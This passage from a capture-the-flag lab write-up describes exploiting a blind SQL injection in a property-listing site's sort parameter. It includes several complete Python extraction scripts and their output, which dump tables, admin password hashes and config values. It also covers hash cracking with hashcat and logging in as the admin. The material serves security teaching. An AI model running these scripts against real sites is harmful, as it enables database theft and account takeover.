[+] 30: 6 → d6649f37d7e29bc6801f978bb50566
[+] 31: 8 → d6649f37d7e29bc6801f978bb505668
[+] 32: c → d6649f37d7e29bc6801f978bb505668c
[+] 33: f → d6649f37d7e29bc6801f978bb505668cf
[+] 34: a → d6649f37d7e29bc6801f978bb505668cfa
[+] 35: 1 → d6649f37d7e29bc6801f978bb505668cfa1
[+] 36: 3 → d6649f37d7e29bc6801f978bb505668cfa13
[+] 37: 0 → d6649f37d7e29bc6801f978bb505668cfa130
[+] 38: 0 → d6649f37d7e29bc6801f978bb505668cfa1300
[+] 39: f → d6649f37d7e29bc6801f978bb505668cfa1300f
[+] 40: 6 → d6649f37d7e29bc6801f978bb505668cfa1300f6
[+] 41: 7 → d6649f37d7e29bc6801f978bb505668cfa1300f67
[+] 42: b → d6649f37d7e29bc6801f978bb505668cfa1300f67b
[+] 43: e → d6649f37d7e29bc6801f978bb505668cfa1300f67be
[+] 44: 0 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0
[+] 45: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b
[+] 46: 2 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2
[+] 47: d → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2d
[+] 48: d → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd
[+] 49: 1 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1
[+] 50: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1b
[+] 51: e → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be
[+] 52: 2 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2
[+] 53: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b
[+] 54: 6 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b6
[+] 55: 2 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62
[+] 56: c → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c
[+] 57: 0 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0
[+] 58: e → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e
[+] 59: 5 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e5
[+] 60: 7 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e57
[+] 61: 8 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578
[+] 62: b → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b
[+] 63: 0 → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0
[+] 64: c → d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0c
[+] PASSWORD: d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0c

----------------------------
[+] CREDS: [email protected] : d6649f37d7e29bc6801f978bb505668cfa1300f67be0b2dd1be2b62c0e578b0c
----------------------------

Great, we have 3 hashes, let's see if we can get an easy win with CrackStation, if not hashcat is the way to go.

Parcel — figure 20

Hm, that's weird, hash-identifier can't even find what kind of hash it is, I must be missing something.

[*] Extracting columns (users)
============================

[*] Column OFFSET 0
[+] 1: i → i
[+] 2: d → id
[+] COLUMN: id

[*] Column OFFSET 1
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: n → usern
[+] 6: a → userna
[+] 7: m → usernam
[+] 8: e → username
[+] COLUMN: username

[*] Column OFFSET 2
[+] 1: e → e
[+] 2: m → em
[+] 3: a → ema
[+] 4: i → emai
[+] 5: l → email
[+] COLUMN: email

[*] Column OFFSET 3
[+] 1: f → f
[+] 2: u → fu
[+] 3: l → ful
[+] 4: l → full
[+] 5: _ → full_
[+] 6: n → full_n
[+] 7: a → full_na
[+] 8: m → full_nam
[+] 9: e → full_name
[+] COLUMN: full_name

[*] Column OFFSET 4
[+] 1: p → p
[+] 2: a → pa
[+] 3: s → pas
[+] 4: s → pass
[+] 5: w → passw
[+] 6: o → passwo
[+] 7: r → passwor
[+] 8: d → password
[+] COLUMN: password

[*] Column OFFSET 5
[+] 1: r → r
[+] 2: o → ro
[+] 3: l → rol
[+] 4: e → role
[+] COLUMN: role

[*] Column OFFSET 6
[+] 1: r → r
[+] 2: e → re
[+] 3: g → reg
[+] 4: i → regi
[+] 5: s → regis
[+] 6: t → regist
[+] 7: e → registe
[+] 8: r → register
[+] 9: e → registere
[+] 10: d → registered
[+] 11: _ → registered_
[+] 12: a → registered_a
[+] 13: t → registered_at
[+] COLUMN: registered_at

[*] Column OFFSET 7
[+] 1: l → l
[+] 2: a → la
[+] 3: s → las
[+] 4: t → last
[+] 5: _ → last_
[+] 6: l → last_l
[+] 7: o → last_lo
[+] 8: g → last_log
[+] 9: i → last_logi
[+] 10: n → last_login
[+] 11: _ → last_login_
[+] 12: a → last_login_a
[+] 13: t → last_login_at
[+] COLUMN: last_login_at

[*] Column OFFSET 8
[+] COLUMN: 

[*] Column OFFSET 9
[+] COLUMN: 

[+] Found columns: ['id', 'username', 'email', 'full_name', 'password', 'role', 'registered_at', 'last_login_at']

I won't bother you that I also extracted all the information from the columns, a bunch of users there and it takes ages to extract their passwords.

I realized that cracking multiple hashes would take some time as well, so I just decided to extract the roles too, and from the output I had I extrapolated that the user at offset 0 is the admin.

import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy1ySAcJ6CXn5yrpKKWV5uTE5yXmpiIpAAoX5eeAREqLU0E8EBWfmaJkZWhcCwBt7htR.ad3xxQ.qEj0MiKgqyuMPYn9AFwgXMG8o7k"
}

# ============================
# 🔍 Extract first listing
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""


# ============================
# 🧠 Boolean oracle
# ============================
def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE
    )

    first = get_first_listing(r.text)

    return first.startswith("3200 Duval")


# ============================
# 🔤 Extract char
# ============================
def extract_char(query, position):
    charset = string.ascii_lowercase  # roles will be simple

    for c in charset:
        condition = f"substr(({query}),{position},1)='{c}'"

        if is_true(condition):
            return c

    return None


# ============================
# 🔓 Extract string
# ============================
def extract_string(query):
    result = ""
    position = 1

    while True:
        char = extract_char(query, position)

        if not char:
            break

        result += char
        print(f"[+] {position}: {char} → {result}")

        position += 1

    return result


# ============================
# 🚀 MAIN
# ============================
if __name__ == "__main__":
    print("[*] Extracting user roles...\n")

    for i in range(15):  # try first 5 users
        print(f"\n👤 USER OFFSET {i}")

        query_role = f"SELECT role FROM users LIMIT 1 OFFSET {i}"
        role = extract_string(query_role)

        if not role:
            print("[!] No more users")
            break

        print(f"[+] ROLE: {role}")
        print("----------------------")

Parcel — figure 21

So the user we were targeting is:

[email protected] : fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee

Let's try to extract as much information as possible from the users table to see if there's a table with a plaintext password for example since cracking this hash turned out to be impossible, hashcat kept on giving me "Exhausted" results when attempting to crack it with rockyou.

Trying to figure out what went wrong

Now, I had a big issue here, since I was just ChatGPTing a bunch of these scripts since I genuinely didn't know what was going wrong, and it was taking ages to enumerate everything. I decided to take another approach and enumerate all the tables.

import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy1ySAcJ6CXn5yrpKKWV5uTE5yXmpiIpAAoX5eeAREqLU0E8EBWfmaJkZWhcCwBt7htR.ad3xxQ.qEj0MiKgqyuMPYn9AFwgXMG8o7k"
}

# ============================
# 🔍 Extract first listing
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""


# ============================
# 🧠 Boolean oracle
# ============================
def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE
    )

    first = get_first_listing(r.text)

    # TRUE = Duval listing
    return first.startswith("3200 Duval")


# ============================
# 🔤 Extract single char
# ============================
def extract_char(query, position):
    charset = string.ascii_lowercase + string.digits + "[email protected]"

    for c in charset:
        condition = f"substr(({query}),{position},1)='{c}'"

        if is_true(condition):
            return c

    return None


# ============================
# 🔓 Extract full string
# ============================
def extract_string(query):
    result = ""
    position = 1

    while True:
        char = extract_char(query, position)

        if not char:
            break

        result += char
        print(f"[+] {position}: {char} → {result}")

        position += 1

    return result


# ============================
# 🧪 Test oracle
# ============================
def test_oracle():
    print("[*] Testing oracle...")
    print("1=1 →", is_true("1=1"))
    print("1=2 →", is_true("1=2"))


# ============================
# 🚀 MAIN
# ============================
if __name__ == "__main__":
    test_oracle()

    print("\n============================")
    print("[*] Extracting table names")
    print("============================")

    for i in range(2):
        print(f"\n[*] Table OFFSET {i}")
        query = f"SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {i}"
        table = extract_string(query)
        print(f"[+] TABLE: {table}")

    print("\n============================")
    print("[*] Extracting columns (sqlite_sequence)")
    print("============================")

    columns = []
    for i in range(10):
        print(f"\n[*] Column OFFSET {i}")
        query = f"SELECT name FROM pragma_table_info('sqlite_sequence') LIMIT 1 OFFSET {i}"
        col = extract_string(query)
        print(f"[+] COLUMN: {col}")
        if col:
            columns.append(col)

    print("\n[+] Found columns:", columns)
    
    print("\n============================")
print("[*] Extracting sqlite_sequence data")
print("============================")

for i in range(10):  # try first 10 rows
    print(f"\n📦 ROW OFFSET {i}")

    # --- name ---
    query_name = f"SELECT name FROM sqlite_sequence LIMIT 1 OFFSET {i}"
    name = extract_string(query_name)

    if not name:
        print("[!] No more rows")
        break

    print(f"[+] TABLE NAME: {name}")

    # --- seq ---
    query_seq = f"SELECT seq FROM sqlite_sequence LIMIT 1 OFFSET {i}"
    seq = extract_string(query_seq)

    print(f"[+] SEQ: {seq}")

    print("----------------------------")

============================
[*] Extracting table names
============================

[*] Table OFFSET 0
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: s → users
[+] TABLE: users

[*] Table OFFSET 1
[+] 1: s → s
[+] 2: q → sq
[+] 3: l → sql
[+] 4: i → sqli
[+] 5: t → sqlit
[+] 6: e → sqlite
[+] 7: _ → sqlite_
[+] 8: s → sqlite_s
[+] 9: e → sqlite_se
[+] 10: q → sqlite_seq
[+] 11: u → sqlite_sequ
[+] 12: e → sqlite_seque
[+] 13: n → sqlite_sequen
[+] 14: c → sqlite_sequenc
[+] 15: e → sqlite_sequence
[+] TABLE: sqlite_sequence

============================
[*] Extracting columns (sqlite_sequence)
============================

[*] Column OFFSET 0
[+] 1: n → n
[+] 2: a → na
[+] 3: m → nam
[+] 4: e → name
[+] COLUMN: name

[*] Column OFFSET 1
[+] 1: s → s
[+] 2: e → se
[+] 3: q → seq
[+] COLUMN: seq

[*] Column OFFSET 2
[+] COLUMN:

[*] Column OFFSET 3
[+] COLUMN:

[*] Column OFFSET 4
[+] COLUMN:

[*] Column OFFSET 5
[+] COLUMN:

[*] Column OFFSET 6
[+] COLUMN:

[*] Column OFFSET 7
[+] COLUMN:

[*] Column OFFSET 8
[+] COLUMN:

[*] Column OFFSET 9
[+] COLUMN:

[+] Found columns: ['name', 'seq']

============================
[*] Extracting sqlite_sequence data
============================

📦 ROW OFFSET 0
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: s → users
[+] TABLE NAME: users

[+] 1: 1 → 1
[+] 2: 3 → 13
[+] SEQ: 13

----------------------------

📦 ROW OFFSET 1
[+] 1: l → l
[+] 2: i → li
[+] 3: s → lis
[+] 4: t → list
[+] 5: i → listi
[+] 6: n → listin
[+] 7: g → listing
[+] 8: s → listings
[+] TABLE NAME: listings

[+] 1: 6 → 6
[+] 2: 5 → 65
[+] SEQ: 65

----------------------------

📦 ROW OFFSET 2
[+] 1: p → p
[+] 2: l → pl
[+] 3: a → pla
[+] 4: t → plat
[+] 5: f → platf
[+] 6: o → platfo
[+] 7: r → platfor
[+] 8: m → platform
[+] 9: _ → platform_
[+] 10: c → platform_c
[+] 11: o → platform_co
[+] 12: n → platform_con
[+] 13: f → platform_conf
[+] 14: i → platform_confi
[+] 15: g → platform_config
[+] TABLE NAME: platform_config

[+] 1: 9 → 9
[+] SEQ: 9

----------------------------

📦 ROW OFFSET 3
[+] 1: f → f
[+] 2: e → fe
[+] 3: a → fea
[+] 4: t → feat
[+] 5: u → featu
[+] 6: r → featur
[+] 7: e → feature
[+] 8: _ → feature_
[+] 9: f → feature_f
[+] 10: l → feature_fl
[+] 11: a → feature_fla
[+] 12: g → feature_flag
[+] TABLE NAME: feature_flag

[+] 1: 6 → 6
[+] SEQ: 6

----------------------------

📦 ROW OFFSET 4
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] 10: _ → favourite_
[+] 11: l → favourite_l
[+] 12: i → favourite_li
[+] 13: s → favourite_lis
[+] 14: t → favourite_list
[+] TABLE NAME: favourite_list

[+] 1: 1 → 1
[+] 2: 0 → 10
[+] SEQ: 10

----------------------------

📦 ROW OFFSET 5
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] TABLE NAME: favourite

[+] 1: 3 → 3
[+] 2: 8 → 38
[+] SEQ: 38

----------------------------

📦 ROW OFFSET 6
[+] 1: s → s
[+] 2: a → sa
[+] 3: v → sav
[+] 4: e → save
[+] 5: d → saved
[+] 6: _ → saved_
[+] 7: s → saved_s
[+] 8: e → saved_se
[+] 9: a → saved_sea
[+] 10: r → saved_sear
[+] 11: c → saved_searc
[+] 12: h → saved_search
[+] TABLE NAME: saved_search

[+] 1: 1 → 1
[+] 2: 8 → 18
[+] SEQ: 18

----------------------------

📦 ROW OFFSET 7
[+] 1: a → a
[+] 2: c → ac
[+] 3: t → act
[+] 4: i → acti
[+] 5: v → activ
[+] 6: i → activi
[+] 7: t → activit
[+] 8: y → activity
[+] 9: _ → activity_
[+] 10: l → activity_l
[+] 11: o → activity_lo
[+] 12: g → activity_log
[+] TABLE NAME: activity_log

[+] 1: 3 → 3
[+] 2: 8 → 38
[+] SEQ: 38

----------------------------

📦 ROW OFFSET 8
[!] No more rows

Unintended way to the flag

We have two interesting tables that might have extra information about the hashes that we would need to crack, maybe a key that is getting used to encrypt them I don't know. Let's try to enumerate platform_config first and then feature_flag.

import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy0yckgHiegl5-cq6SillebkxOcl5qYiqwCKF-XngIRKi1OLgDwQFZ-ZomRlaFoLAJk7G7c.ad1sjg.u8PS6ErWw3zUdmmhOTRicPnG-04"
}

# ============================
# ORACLE
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""

def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE,
        timeout=5
    )

    first = get_first_listing(r.text)
    return first.startswith("3200 Duval")


# ============================
# EXTRACTION
# ============================
def extract_char(query, pos):
    charset = string.ascii_letters + string.digits + "[email protected]{}:/"

    for c in charset:
        condition = f"substr(({query}),{pos},1)='{c}'"
        if is_true(condition):
            return c

    return None


def extract_string(query):
    result = ""
    pos = 1

    while True:
        char = extract_char(query, pos)

        if not char:
            break

        result += char
        print(f"[+] {pos}: {char} → {result}")

        pos += 1

    return result


# ============================
# MAIN
# ============================
if __name__ == "__main__":

    print("\n============================")
    print("[*] Dumping platform_config (KEY → VALUE)")
    print("============================")

    for i in range(15):
        print(f"\n⚙️ ROW {i}")

        key_query = f"SELECT key FROM platform_config LIMIT 1 OFFSET {i}"
        value_query = f"SELECT value FROM platform_config LIMIT 1 OFFSET {i}"

        key = extract_string(key_query)

        if not key:
            print("[!] No more rows")
            break

        value = extract_string(value_query)

        print(f"\n🔥 {key} = {value}")
        print("----------------------------")

Now, that script will get you the flag, getting all the rows from platform_config has the flag, and this is an unintended way to go about it, and when I first ran this script, I got the flag value with SEARCH_CACHE_TTL accompanied with it, when in reality the flag is in the same row as PLATFORM_API_LICENSE_KEY. We know this isn't the right way to go about it since the lab description mentions that we need to harvest credentials to escalate privileges.

Parcel — figure 22

Intended way to the flag

Mistake #1:

Alright, back to our major mistake, or well two of them, so basically, even with the platform_config extraction we were doing, we were just getting data that SQLite wanted to give us, but it wasn't structured in any way, so for example, as we can see from our original user output, we have this user at offset 0:

[email protected] : fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee

with the role at offset 0:

👤 USER OFFSET 0
[+] 1: a → a
[+] 2: d → ad
[+] 3: m → adm
[+] 4: i → admi
[+] 5: n → admin
[+] ROLE: admin
----------------------

but that doesn't necessarily mean that the field for the role and the field for the user and password are linked together, so it was just giving us information for the current state of how the fields looked like.

If a SELECT statement that returns more than one row does not have an ORDER BY clause, the order in which the rows are returned is undefined. Or, if a SELECT statement does have an ORDER BY clause, then the list of expressions attached to the ORDER BY determine the order in which rows are returned to the user. (link)

Meaning each column was extracted using separate queries with LIMIT/OFFSET,
the absence of ORDER BY caused inconsistent row ordering, resulting in mismatched data. So the password isn't for a.okafor, and the role "admin" isn't linked to a.okafor.

The way to fix this is simple, just change the queries for example in our platformconfig.py script to be:

        key_query = f"SELECT key FROM platform_config ORDER BY id LIMIT 1 OFFSET {i}"
        value_query = f"SELECT value FROM platform_config ORDER BY id LIMIT 1 OFFSET {i}"

Eventually, this will output the same flag from the unintended way, but it will be linked properly between the columns.

Moving on to the users, now we know that we don't have the correct administrator that we need to be attacking, but not only that, when we extracted all users, we still couldn't crack a single hash, so what's up with that?

Mistake #2:

During extraction of password hashes from the users table, the script appeared to work correctly but produced hashes that:

  • could not be cracked
  • did not match expected formats
  • failed against rockyou.txt

Example (incorrectly extracted):

fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee

The issue was not with SQL injection or query logic, but with the character set used during blind extraction.

The script used a restricted charset:

charset = string.ascii_lowercase + string.digits + "[email protected]"

While analyzing the results from the scripts, I wondered how the hell I managed to extract the flag from the platform_config table because it used characters like "{" and "}" and I realized that of course while ChatGPTing the scripts, that the charset between them had changed, in the platform_config extraction attempt I opened the script and saw:

charset = string.ascii_letters + string.digits + "[email protected]{}:/"

So let's use this new information alongside the fact that we want to get everything in order from the users table, properly this time, without the data from the rows being jumbled as well as include our new character set.

import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy0yckgHiegl5-cq6SillebkxOcl5qYiqwCKF-XngIRKi1OLgDwQFZ-ZomRlaFoLAJk7G7c.ad1sjg.u8PS6ErWw3zUdmmhOTRicPnG-04"
}

COLUMNS = [
    "id",
    "username",
    "email",
    "full_name",
    "password",
    "role",
    "registered_at",
    "last_login_at"
]

# ============================
# ORACLE
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""

def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"
    r = requests.get(URL, params={"q": "%", "sort": payload}, cookies=COOKIE)
    first = get_first_listing(r.text)
    return first.startswith("3200 Duval")


# ============================
# EXTRACTION
# ============================
def extract_char(query, pos):
    charset = string.ascii_letters + string.digits + "[email protected]:{} "

    for c in charset:
        condition = f"substr(({query}),{pos},1)='{c}'"
        if is_true(condition):
            return c

    return None


def extract_string(query):
    result = ""
    pos = 1

    while True:
        char = extract_char(query, pos)
        if not char:
            break

        result += char
        print(char, end="", flush=True)
        pos += 1

    return result


# ============================
# DUMP USERS
# ============================
print("\n============================")
print("[*] Dumping FULL users table")
print("============================")

for row in range(20):  # increase if needed
    print(f"\n\n👤 ROW {row}")
    row_data = {}

    # check if row exists via email (fast check)
    check_q = f"SELECT email FROM users ORDER BY id LIMIT 1 OFFSET {row}"
    exists = extract_string(check_q)

    if not exists:
        print("\n[!] No more rows")
        break

    row_data["email"] = exists
    print()

    for col in COLUMNS:
        if col == "email":
            continue  # already extracted

        print(f"[{col}] ", end="")
        q = f"SELECT {col} FROM users ORDER BY id LIMIT 1 OFFSET {row}"
        val = extract_string(q)
        print()

        row_data[col] = val

    print("\n--- ROW RESULT ---")
    for k, v in row_data.items():
        print(f"{k}: {v}")

Parcel — figure 23

YES! Now we have the full hash of the users, and this time we also have the correct user! (also please don't re-check the password outputs from before, as the hashes are different since I had to start multiple instances of this lab).

👤 ROW 0
[email protected]
[id] 1
[username] m.chen
[full_name] Michael Chen
[password] 4bb2c3727f4e39285ce6ebf28193ff73bdc81d05632320ce7a3d0bf15fa7622b:8ccf01bbd5e82e39b91250278870ee5c
[role] admin
[registered_at] 2024-01-15 09:00:00
[last_login_at] 

The hash looks like either SHA256 (from the first iteration we had without the salt) or SHA256:SALT, so either 1400 or 1410 mode.

Parcel — figure 24

Now we can try and login as m.chen!

Parcel — figure 25

We have an Admin panel that we need to check out.

Parcel — figure 26

Out of all the options, we know Configuration sounds the juiciest so let's see what it holds.

Parcel — figure 27

Conclusion

This lab was great, it pushed me into figuring out how I can actually trust the data I am retrieving blindly, and obviously it showed that I trusted it too easily and early, especially since I wasn't taking into consideration that the extraction is an issue on my end. Great challenge on how Blind SQL injections work.